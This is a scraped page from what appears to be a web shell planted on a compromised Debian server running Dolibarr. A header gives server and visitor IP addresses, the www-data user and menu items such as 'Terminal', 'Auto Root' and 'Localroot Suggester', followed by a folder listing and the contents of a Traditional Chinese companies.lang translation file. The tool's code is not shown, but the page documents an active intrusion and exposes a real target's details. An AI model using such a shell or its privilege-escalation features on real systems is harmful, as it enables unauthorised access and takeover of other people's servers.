Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
webedi.bdcloud.fr /
langs /
zh_TW /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
21.3
KB
-rw-r--r--
2020-06-18 03:47
admin.lang
132.05
KB
-rw-r--r--
2020-07-05 12:40
agenda.lang
7.44
KB
-rw-r--r--
2020-07-05 12:41
assets.lang
1.83
KB
-rw-r--r--
2020-05-12 15:31
banks.lang
7.1
KB
-rw-r--r--
2020-07-05 12:41
bills.lang
29.08
KB
-rw-r--r--
2020-07-05 12:42
blockedlog.lang
4.56
KB
-rw-r--r--
2020-05-12 15:31
bookmarks.lang
902
B
-rw-r--r--
2020-05-12 15:31
boxes.lang
4.96
KB
-rw-r--r--
2020-05-12 15:31
cashdesk.lang
4.21
KB
-rw-r--r--
2020-07-05 12:42
categories.lang
4
KB
-rw-r--r--
2020-07-05 12:43
commercial.lang
2.9
KB
-rw-r--r--
2020-05-12 15:31
companies.lang
15.31
KB
-rw-r--r--
2020-07-05 12:43
compta.lang
13.95
KB
-rw-r--r--
2020-05-23 22:08
contracts.lang
4.61
KB
-rw-r--r--
2020-07-05 12:43
cron.lang
4.32
KB
-rw-r--r--
2020-05-12 15:31
deliveries.lang
1.06
KB
-rw-r--r--
2020-05-12 15:31
dict.lang
8.65
KB
-rw-r--r--
2020-05-12 15:31
donations.lang
1.24
KB
-rw-r--r--
2020-05-12 15:31
ecm.lang
2.59
KB
-rw-r--r--
2020-05-12 15:31
errors.lang
23.49
KB
-rw-r--r--
2020-07-05 12:44
exports.lang
8.87
KB
-rw-r--r--
2020-05-12 15:31
externalsite.lang
249
B
-rw-r--r--
2020-05-12 15:31
ftp.lang
795
B
-rw-r--r--
2020-05-12 15:31
help.lang
1.08
KB
-rw-r--r--
2020-05-12 15:31
holiday.lang
5.2
KB
-rw-r--r--
2020-07-05 12:45
hrm.lang
559
B
-rw-r--r--
2020-07-05 12:46
install.lang
16.63
KB
-rw-r--r--
2020-07-05 12:46
interventions.lang
3.13
KB
-rw-r--r--
2020-05-12 15:31
languages.lang
2.83
KB
-rw-r--r--
2020-05-12 15:31
ldap.lang
1.29
KB
-rw-r--r--
2020-05-12 15:31
link.lang
468
B
-rw-r--r--
2020-05-12 15:31
loan.lang
1.18
KB
-rw-r--r--
2020-07-05 12:46
mailmanspip.lang
1.49
KB
-rw-r--r--
2020-04-18 15:05
mails.lang
9.29
KB
-rw-r--r--
2020-05-12 15:31
main.lang
29.56
KB
-rw-r--r--
2020-07-05 12:47
margins.lang
2.71
KB
-rw-r--r--
2020-05-12 15:31
members.lang
10.27
KB
-rw-r--r--
2020-05-12 15:31
modulebuilder.lang
12.02
KB
-rw-r--r--
2020-07-05 12:47
mrp.lang
3.7
KB
-rw-r--r--
2020-07-05 12:47
multicurrency.lang
1.43
KB
-rw-r--r--
2020-05-12 15:31
oauth.lang
1.82
KB
-rw-r--r--
2020-05-12 15:31
opensurvey.lang
3.17
KB
-rw-r--r--
2020-05-12 15:31
orders.lang
7.9
KB
-rw-r--r--
2020-05-12 15:31
other.lang
14.46
KB
-rw-r--r--
2020-07-05 12:48
paybox.lang
1.7
KB
-rw-r--r--
2020-05-12 15:31
paypal.lang
2.1
KB
-rw-r--r--
2020-04-18 15:05
printing.lang
2.31
KB
-rw-r--r--
2020-05-12 15:31
productbatch.lang
1.18
KB
-rw-r--r--
2020-05-12 15:31
products.lang
16.56
KB
-rw-r--r--
2020-07-05 12:49
projects.lang
13.12
KB
-rw-r--r--
2020-07-05 12:49
propal.lang
3.99
KB
-rw-r--r--
2020-07-05 12:49
receiptprinter.lang
3.17
KB
-rw-r--r--
2020-07-05 12:50
receptions.lang
1.98
KB
-rw-r--r--
2020-07-05 12:50
resource.lang
1.21
KB
-rw-r--r--
2020-05-12 15:31
salaries.lang
1019
B
-rw-r--r--
2020-05-12 15:31
sendings.lang
2.96
KB
-rw-r--r--
2020-05-12 15:31
sms.lang
1.6
KB
-rw-r--r--
2020-05-12 15:31
stocks.lang
12.01
KB
-rw-r--r--
2020-07-05 12:51
stripe.lang
4.62
KB
-rw-r--r--
2020-05-12 15:31
supplier_proposal.lang
2.54
KB
-rw-r--r--
2020-05-12 15:31
suppliers.lang
1.98
KB
-rw-r--r--
2020-05-12 15:31
ticket.lang
14.3
KB
-rw-r--r--
2020-07-05 12:51
trips.lang
6.22
KB
-rw-r--r--
2020-05-12 15:31
users.lang
5.25
KB
-rw-r--r--
2020-05-23 22:11
website.lang
12.68
KB
-rw-r--r--
2020-07-05 12:52
withdrawals.lang
7.96
KB
-rw-r--r--
2020-07-05 12:52
workflow.lang
2.26
KB
-rw-r--r--
2020-05-12 15:31
zapier.lang
976
B
-rw-r--r--
2020-05-12 15:31
Save
Rename
# Dolibarr language file - Source file is en_US - companies ErrorCompanyNameAlreadyExists=公司名稱%s已經存在。請選擇另一個。 ErrorSetACountryFirst=請先設定國家 SelectThirdParty=選擇一個合作方 ConfirmDeleteCompany=您確定要刪除此公司和所有關聯的資訊嗎? DeleteContact=刪除連絡人/地址 ConfirmDeleteContact=您確定要刪除這個連絡人和所有關聯資訊? MenuNewThirdParty=新合作方 MenuNewCustomer=新客戶 MenuNewProspect=新潛在方 MenuNewSupplier=新供應商 MenuNewPrivateIndividual=新私營個體 NewCompany=新公司(潛在方、客戶、供應商) NewThirdParty=新合作方(潛在方、客戶、供應商) CreateDolibarrThirdPartySupplier=建立合作方(供應商) CreateThirdPartyOnly=建立合作方 CreateThirdPartyAndContact=建立合作方+連絡人 ProspectionArea=潛在方區域 IdThirdParty=合作方ID IdCompany=公司ID IdContact=連絡人ID ThirdPartyContacts=合作方聯絡人 ThirdPartyContact=合作方連絡人/地址 Company=公司 CompanyName=公司名稱 AliasNames=別名(商業的,商標,...) AliasNameShort=別名 Companies=公司 CountryIsInEEC=在歐盟區的國家 PriceFormatInCurrentLanguage=目前語言和貨幣的價格顯示格式 ThirdPartyName=合作方名稱 ThirdPartyEmail=合作方電子郵件 ThirdParty=合作方 ThirdParties=合作方 ThirdPartyProspects=潛在方 ThirdPartyProspectsStats=潛在方 ThirdPartyCustomers=客戶 ThirdPartyCustomersStats=客戶 ThirdPartyCustomersWithIdProf12=%s或%s的客戶 ThirdPartySuppliers=供應商 ThirdPartyType=合作方類型 Individual=私營個體 ToCreateContactWithSameName=會自動新增一個與合作方具有相同資訊的聯絡人/地址。在大多數情況下,即使您的合作方是自然人,只需建立合作方即可。 ParentCompany=母公司 Subsidiaries=子公司 ReportByMonth=月報告 ReportByCustomers=客戶報告 ReportByQuarter=百分比報告 CivilityCode=Civility code RegisteredOffice=已註冊辦公室 Lastname=姓氏 Firstname=名字 PostOrFunction=職稱 UserTitle=稱呼 NatureOfThirdParty=合作方性質 NatureOfContact=聯絡人性質 Address=地址 State=州/省 StateCode=州/省代碼 StateShort=州 Region=地區 Region-State=地區 - 州 Country=國家 CountryCode=國家代碼 CountryId=國家ID Phone=電話 PhoneShort=電話 Skype=Skype Call=通話 Chat=對話 PhonePro=公司電話號碼 PhonePerso=個人電話號碼 PhoneMobile=手機號碼 No_Email=拒絕批次發送電子郵件 Fax=傳真 Zip=郵遞區號 Town=城市 Web=網站 Poste= 位置 DefaultLang=預設語言 VATIsUsed=使用銷售稅 VATIsUsedWhenSelling=這定義了合作方在向其客戶開具發票時是否包含銷售稅 VATIsNotUsed=不使用銷售稅 CopyAddressFromSoc=複製合作方詳細信息中的地址 ThirdpartyNotCustomerNotSupplierSoNoRef=合作方不是客戶也不是供應商,無參考物件 ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=合作方不是客戶也不是供應商,沒有折扣 PaymentBankAccount=付款銀行帳戶 OverAllProposals=提案/建議書 OverAllOrders=訂單 OverAllInvoices=發票 OverAllSupplierProposals=報價 ##### Local Taxes ##### LocalTax1IsUsed=使用第二種稅率 LocalTax1IsUsedES= 使用回覆(RE) LocalTax1IsNotUsedES= 不使用回覆(RE) LocalTax2IsUsed=使用第三種稅率 LocalTax2IsUsedES= 使用IRPF LocalTax2IsNotUsedES= 不使用IRPF WrongCustomerCode=客戶代碼無效 WrongSupplierCode=供應商代碼無效 CustomerCodeModel=客戶代碼模型 SupplierCodeModel=供應商代碼模型 Gencod=條碼 ##### Professional ID ##### ProfId1Short=Prof. id 1 ProfId2Short=Prof. id 2 ProfId3Short=Prof. id 3 ProfId4Short=Prof. id 4 ProfId5Short=Prof. id 5 ProfId6Short=Prof. id 6 ProfId1=專業ID 1 ProfId2=專業ID 2 ProfId3=專業ID 3 ProfId4=專業ID 4 ProfId5=專業ID 5 ProfId6=專業ID 6 ProfId1AR=Prof Id 1 (CUIT/CUIL) ProfId2AR=Prof Id 2(總收入) ProfId3AR=- ProfId4AR=- ProfId5AR=- ProfId6AR=- ProfId1AT=Prof Id 1 (USt.-IdNr) ProfId2AT=Prof Id 2 (USt.-Nr) ProfId3AT=Prof Id 3 (商業登記號碼) ProfId4AT=- ProfId5AT=- ProfId6AT=- ProfId1AU=Prof Id 1 (ABN) ProfId2AU=- ProfId3AU=- ProfId4AU=- ProfId5AU=- ProfId6AU=- ProfId1BE=Prof Id 1 (專業號碼) ProfId2BE=- ProfId3BE=- ProfId4BE=- ProfId5BE=- ProfId6BE=- ProfId1BR=- ProfId2BR=IE (國家註冊) ProfId3BR=IM (市政登記) ProfId4BR=CPF #ProfId5BR=CNAE #ProfId6BR=INSS ProfId1CH=- ProfId2CH=- ProfId3CH=Prof Id 1(聯邦碼) ProfId4CH=Prof Id 2(商業記錄碼) ProfId5CH=- ProfId6CH=- ProfId1CL=Prof Id 1 (R.U.T.) ProfId2CL=- ProfId3CL=- ProfId4CL=- ProfId5CL=- ProfId6CL=- ProfId1CO=Prof Id 1 (R.U.T.) ProfId2CO=- ProfId3CO=- ProfId4CO=- ProfId5CO=- ProfId6CO=- ProfId1DE=Prof Id 1 (USt.-IdNr) ProfId2DE=Prof Id 2 (USt.-Nr) ProfId3DE=Prof Id 3 (商業登記號碼) ProfId4DE=- ProfId5DE=- ProfId6DE=- ProfId1ES=Prof Id 1 (CIF/NIF) ProfId2ES=Prof Id 2 (社會安全號碼) ProfId3ES=Prof Id 3 (CNAE) ProfId4ES=Prof Id 4 (學院編號) ProfId5ES=- ProfId6ES=- ProfId1FR=Prof Id 1 (SIREN) ProfId2FR=Prof Id 2 (SIRET) ProfId3FR=Prof Id 3 (NAF, old APE) ProfId4FR=Prof Id 4 (RCS/RM) ProfId5FR=- ProfId6FR=- ProfId1GB=註冊號 ProfId2GB=- ProfId3GB=SIC ProfId4GB=- ProfId5GB=- ProfId6GB=- ProfId1HN=Id prof. 1 (RTN) ProfId2HN=- ProfId3HN=- ProfId4HN=- ProfId5HN=- ProfId6HN=- ProfId1IN=Prof Id 1 (TIN) ProfId2IN=Prof Id 2 (PAN) ProfId3IN=Prof Id 3 (SRVC TAX) ProfId4IN=Prof Id 4 ProfId5IN=Prof Id 5 ProfId6IN=- ProfId1LU=Id. prof. 1 (R.C.S.盧森堡) ProfId2LU=Id. prof. 2 (營業執照) ProfId3LU=- ProfId4LU=- ProfId5LU=- ProfId6LU=- ProfId1MA=Id prof. 1 (R.C.) ProfId2MA=Id prof. 2 (Patente) ProfId3MA=Id prof. 3 (I.F.) ProfId4MA=Id prof. 4 (C.N.S.S.) ProfId5MA=Id. prof. 5 (I.C.E.) ProfId6MA=- ProfId1MX=Prof Id 1 (R.F.C). ProfId2MX=Prof Id 2 (R..P. IMSS) ProfId3MX=Prof Id 3(專業章程) ProfId4MX=- ProfId5MX=- ProfId6MX=- ProfId1NL=KVK數字 ProfId2NL=- ProfId3NL=- ProfId4NL=- ProfId5NL=- ProfId6NL=- ProfId1PT=Prof Id 1 (NIPC) ProfId2PT=Prof Id 2(社會安全號碼) ProfId3PT=Prof Id 3(商業記錄碼) ProfId4PT=Prof Id 4 (音樂學院) ProfId5PT=- ProfId6PT=- ProfId1SN=RC ProfId2SN=NINEA ProfId3SN=- ProfId4SN=- ProfId5SN=- ProfId6SN=- ProfId1TN=Prof Id 1 (RC) ProfId2TN=Prof Id 2 (報名參加) ProfId3TN=Prof Id 3 (海關編碼) ProfId4TN=Prof Id 4 (BAN) ProfId5TN=- ProfId6TN=- ProfId1US=Prof Id (FEIN) ProfId2US=- ProfId3US=- ProfId4US=- ProfId5US=- ProfId6US=- ProfId1RO=Prof Id 1 (CUI) ProfId2RO=Prof Id 2 (Nr. Înmatriculare) ProfId3RO=Prof Id 3 (CAEN) ProfId4RO=- ProfId5RO=Prof Id 5 (EUID) ProfId6RO=- ProfId1RU=Prof Id 1 (OGRN) ProfId2RU=Prof Id 2 (INN) ProfId3RU=Prof Id 3 (KPP) ProfId4RU=Prof Id 4 (OKPO) ProfId5RU=- ProfId6RU=- ProfId1DZ=RC ProfId2DZ=Art. ProfId3DZ=NIF ProfId4DZ=NIS VATIntra=營業稅號(台灣:統一編號) VATIntraShort=營業稅號(台灣:統一編號) VATIntraSyntaxIsValid=語法是有效的 VATReturn=退稅 ProspectCustomer=潛在方/客戶 Prospect=潛在方 CustomerCard=客戶卡 Customer=客戶 CustomerRelativeDiscount=相對客戶折扣 SupplierRelativeDiscount=相對供應商折扣 CustomerRelativeDiscountShort=相對折扣 CustomerAbsoluteDiscountShort=無條件折扣 CompanyHasRelativeDiscount=此客戶有預設的<b>%s%%</b>的折扣 CompanyHasNoRelativeDiscount=此客戶預設沒有相對的折扣 HasRelativeDiscountFromSupplier=您有此供應商的預設折扣<b>%s%%</b> HasNoRelativeDiscountFromSupplier=您沒有該供應商的默認相對折扣 CompanyHasAbsoluteDiscount=在<b>%s</b>%s此客戶有折扣(信用票據或預付款) CompanyHasDownPaymentOrCommercialDiscount=在 <b>%s</b>%s 此客戶有折扣(商業預付款) CompanyHasCreditNote=在<b>%s</b>%s情況下,此客戶仍然有信用票據 HasNoAbsoluteDiscountFromSupplier=您沒有來自該供應商的折扣積分 HasAbsoluteDiscountFromSupplier=您可以從該供應商處獲得<b>%s</b> %s的折扣(信用票據或預付款) HasDownPaymentOrCommercialDiscountFromSupplier=您可以從該供應商處獲得<b>%s</b> %s的折扣(商業預付款) HasCreditNoteFromSupplier=您有此供應商提供的<b>%s</b>%s信用票據 CompanyHasNoAbsoluteDiscount=該客戶沒有可用的折扣額度 CustomerAbsoluteDiscountAllUsers=絕對客戶折扣(所有用戶均適用) CustomerAbsoluteDiscountMy=完整的客戶折扣(由您授權) SupplierAbsoluteDiscountAllUsers=完整的供應商折扣(由全體用戶授權) SupplierAbsoluteDiscountMy=完整的供應商折扣(由您授權) DiscountNone=無 Vendor=供應商 Supplier=供應商 AddContact=建立聯絡人 AddContactAddress=建立聯絡/地址 EditContact=編輯聯絡人 EditContactAddress=編輯聯絡/地址 Contact=聯絡人/地址 Contacts=聯絡人/地址 ContactId=連絡人ID ContactsAddresses=通訊錄/地址 FromContactName=名稱: NoContactDefinedForThirdParty=此合作方沒有定義連絡人 NoContactDefined=此沒有定義連絡人 DefaultContact=預設連絡人/地址 ContactByDefaultFor=預設聯絡人/地址 AddThirdParty=建立合作方 DeleteACompany=刪除公司 PersonalInformations=個人資料 AccountancyCode=會計科目 CustomerCode=客戶代號 SupplierCode=供應商代號 CustomerCodeShort=客戶代號 SupplierCodeShort=供應商代號 CustomerCodeDesc=客戶代碼,每個客戶都有一個號碼 SupplierCodeDesc=供應商代碼,每個供應商都有一個號碼 RequiredIfCustomer=若合作方屬於客戶或潛在方,則必需填入 RequiredIfSupplier=若合作方是供應商,則必需填入 ValidityControledByModule=有效性由模組控制 ThisIsModuleRules=此模組的規則 ProspectToContact=需聯絡的潛在方 CompanyDeleted=已從資料庫中刪除“%s”公司。 ListOfContacts=通訊錄/地址清單 ListOfContactsAddresses=通訊錄/地址清單 ListOfThirdParties=合作方清單 ShowCompany=合作方 ShowContact=聯絡人-地址 ContactsAllShort=全部(不過濾) ContactType=連絡型式 ContactForOrders=訂單連絡人 ContactForOrdersOrShipments=訂單或送貨連絡人 ContactForProposals=提案/建議書連絡人 ContactForContracts=合約連絡人 ContactForInvoices=發票連絡人 NoContactForAnyOrder=此連絡人非訂單連絡人 NoContactForAnyOrderOrShipments=此連絡人非訂單或送貨連絡人 NoContactForAnyProposal=此連絡人不屬於任何商業提案/建議書連絡人 NoContactForAnyContract=此連絡人非合約連絡人 NoContactForAnyInvoice=此連絡人非發票連絡人 NewContact=新連絡人 NewContactAddress=新連絡人/地址 MyContacts=我的通訊錄 Capital=資本 CapitalOf=%s的資本 EditCompany=編輯公司資料 ThisUserIsNot=此用戶非潛在方、客戶或供應商 VATIntraCheck=確認 VATIntraCheckDesc=營業稅ID必須包含國家/地區前綴。連結<b>%s</b>使用歐洲增值稅檢查器服務(VIES),該服務需要Dolibarr伺服器連上網路。 VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do VATIntraCheckableOnEUSite=檢查在歐盟區網站內的區內營業稅 VATIntraManualCheck=您也可在歐盟網站以人工方式確認<a href="%s" target="_blank">%s</a> ErrorVATCheckMS_UNAVAILABLE=無法檢查。無法使用會員國家(%s)進行檢查服務。 NorProspectNorCustomer=非潛在方或客戶 JuridicalStatus=法人類型 Staff=僱員 ProspectLevelShort=潛在等級 ProspectLevel=潛在方的可能性 ContactPrivate=私人 ContactPublic=公開 ContactVisibility=隱私性 ContactOthers=其他 OthersNotLinkedToThirdParty=其他,未連結到合作方 ProspectStatus=潛在方狀態 PL_NONE=無 PL_UNKNOWN=未知 PL_LOW=低 PL_MEDIUM=中 PL_HIGH=高 TE_UNKNOWN=-未知 TE_STARTUP=新創公司 TE_GROUP=集團公司 TE_MEDIUM=中型公司 TE_ADMIN=政府 TE_SMALL=小公司 TE_RETAIL=零售商 TE_WHOLE=批發商 TE_PRIVATE=自營商 TE_OTHER=其他 StatusProspect-1=無需聯絡 StatusProspect0=從未聯絡過 StatusProspect1=待連絡 StatusProspect2=聯絡中 StatusProspect3=完成連絡 ChangeDoNotContact=改成“禁止連絡” ChangeNeverContacted=改成"未曾連絡過“ ChangeToContact=改成”待連絡“ ChangeContactInProcess=改成”連絡中“ ChangeContactDone=改成 " 完成連絡 " ProspectsByStatus=依狀態排序的潛在方 NoParentCompany=無 ExportCardToFormat=匯出格式 ContactNotLinkedToCompany=連絡人沒有連結到任何合作方 DolibarrLogin=Dolibarr 登入 NoDolibarrAccess=無Dolibarr存取 ExportDataset_company_1=合作方(公司/基金會/自然人)及屬性 ExportDataset_company_2=聯絡人及其屬性 ImportDataset_company_1=合作方及其屬性 ImportDataset_company_2=合作方其他聯絡人/地址和屬性 ImportDataset_company_3=合作方銀行帳戶 ImportDataset_company_4=合作方銷售代表(將銷售代表/用戶分配給公司) PriceLevel=價格水平 PriceLevelLabels=價格水平標籤 DeliveryAddress=送貨地址 AddAddress=新增地址 SupplierCategory=供應商類別 JuridicalStatus200=獨立 DeleteFile=刪除文件 ConfirmDeleteFile=您確定要刪除這個文件? AllocateCommercial=指定業務代表 Organization=組織 FiscalYearInformation=會計年度 FiscalMonthStart=會計年度開始月份 SocialNetworksInformation=社交網路 SocialNetworksFacebookURL=Facebook網址 SocialNetworksTwitterURL=Twitter網址 SocialNetworksLinkedinURL=Linkedin網址 SocialNetworksInstagramURL=Instagram網址 SocialNetworksYoutubeURL=YouTube網址 SocialNetworksGithubURL=Github網址 YouMustAssignUserMailFirst=您必須先為此用戶建立電子郵件(email),然後才能新增電子郵件(email)通知。 YouMustCreateContactFirst=為了增加 email 通知,你必須先在合作方的通訊錄有合法 email ListSuppliersShort=供應商清單 ListProspectsShort=潛在方清單 ListCustomersShort=客戶清單 ThirdPartiesArea=合作方/通訊錄 LastModifiedThirdParties=最新%s筆修改的合作方 UniqueThirdParties=全部合作方 InActivity=開放 ActivityCeased=關閉 ThirdPartyIsClosed=合作方已關閉 ProductsIntoElements=產品/服務清單於 %s CurrentOutstandingBill=目前未付款帳單 OutstandingBill=未付款帳單的最大金額 OutstandingBillReached=已達最大金額的未付款帳單 OrderMinAmount=最小訂購量 MonkeyNumRefModelDesc=客戶代號回復 %s yymm-nnnn ,且供應商代號為 %s yymm-nnnn 的數字格式,其中 yy 指的是年度,mm指的是月份,nnnn指的是不間斷或返回 0 的序號。 LeopardNumRefModelDesc=客戶/供應商編號規則不受限制,此編碼可以隨時修改。(可開啟Elephant or Monkey模組來設定編碼規則) ManagingDirectors=主管(們)姓名 (執行長, 部門主管, 總裁...) MergeOriginThirdparty=重複的客戶/供應商 (你想刪除的客戶/供應商) MergeThirdparties=合併客戶/供應商 ConfirmMergeThirdparties=您確定要合併此合作方到目前的資料?所有已連結的物件( 發票、訂單...)將會移到目前的合作方,並刪除被合併的合作方。 ThirdpartiesMergeSuccess=合作方已合併 SaleRepresentativeLogin=業務代表的登入 SaleRepresentativeFirstname=業務代表的名字 SaleRepresentativeLastname=業務代表的姓氏 ErrorThirdpartiesMerge=刪除合作方時發生錯誤。請檢查日誌。原變更已被回復。 NewCustomerSupplierCodeProposed=客戶或供應商代碼已使用,已建議新代碼 KeepEmptyIfGenericAddress=如果此地址是通用地址,請將此欄位保留為空 #Imports PaymentTypeCustomer=付款方式-客戶 PaymentTermsCustomer=付款條件-客戶 PaymentTypeSupplier=付款方式-供應商 PaymentTermsSupplier=付款條件-供應商 PaymentTypeBoth=付款方式-客戶和供應商 MulticurrencyUsed=使用多幣種 MulticurrencyCurrency=貨幣